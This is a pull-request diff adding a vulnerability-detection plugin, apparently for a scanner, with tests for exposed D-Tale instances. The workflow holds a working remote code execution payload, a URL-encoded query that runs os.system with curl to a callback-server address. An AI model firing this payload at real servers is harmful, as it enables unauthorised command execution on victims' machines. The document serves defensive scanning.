Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "Dtale_ExposedUI"
author: "VickyTheViking"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "DTALE_EXPOSED_UI"
}
severity: CRITICAL
title: "Remote code execution affecting Dtale"
description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server, this is because D-Tale has a query engine and the query engine allow to run python scripts by design."
recommendation: "You can change the query engine or Enable Authentication in the application to prevent unauthorized access. Check out this link for more information: https://github.com/man-group/dtale/blob/master/docs/CONFIGURATION.md"
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_dtale"
http_request: {
method: GET
uri: "/dtale/popup/upload"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>' },
{ body: {} contains: "<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>" }
]
}
}
}
}

actions: {
name: "create_sample_table"
http_request: {
method: POST
uri: "/dtale/upload"
headers: [
{ name: "Content-Type" value: "multipart/form-data; boundary=-" }
]
data: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n'
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "\"success\":" }
]
}
extract_all: {
patterns: [
{
from_body: {}
regexp: "\"data_id\":\"([0-9_]+)\""
variable_name: "dataid"
}
]
}
}
}
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would suggest linking a cleanup action here so that no dirty data are left behind by the detector. It should be sufficient to issue a request like GET /dtale/cleanup-datasets?dataIds={{dataid}}

Suggested change
}
}
cleanup_actions: "cleanup_data"

}

actions: {
name: "trigger_code_execution"
http_request: {
method: GET
uri: "/dtale/chart-data/{{ dataid }}?query={{ payload }}"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "\"error\":\"" }
]
}
}
}
cleanup_actions: ["cleanup_sample_table"]
}

actions: {
name: "cleanup_sample_table"
http_request: {
method: GET
uri: "/dtale/cleanup-datasets?dataIds={{ dataid }}"
response: {
http_status: 200
}
}
}

actions: {
name: "sleep"
utility: { sleep: { duration_ms: 1000 } }
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}


#############
# WORKFLOWS #
#############

workflows: {
variables: [
{ name: "payload" value: "%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" }
]
condition: REQUIRES_CALLBACK_SERVER
actions: [
"fingerprint_dtale",
"create_sample_table",
"trigger_code_execution",
"sleep",
"check_callback_server_logs"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "Dtale_ExposedUI"
}

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "/dtale/popup/upload"
status: 200
body_content: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>'
"<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>"
},
{
uri: "/dtale/upload"
status: 200
body_content: '{"data_id":"112233","success":true}'
condition: {
headers: [
{ name: "Content-Type" value: "multipart/form-data; boundary=-" }
]
body_content: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n'
}
},
{
uri: "/dtale/chart-data/112233?query={{ payload }}"
status: 200
body_content: "\"error\":\""
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/dtale/popup/upload"
status: 200
body_content: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>'
"<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>"
}
]
}
}

tests: {
name: "whenNotDocsGPT_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}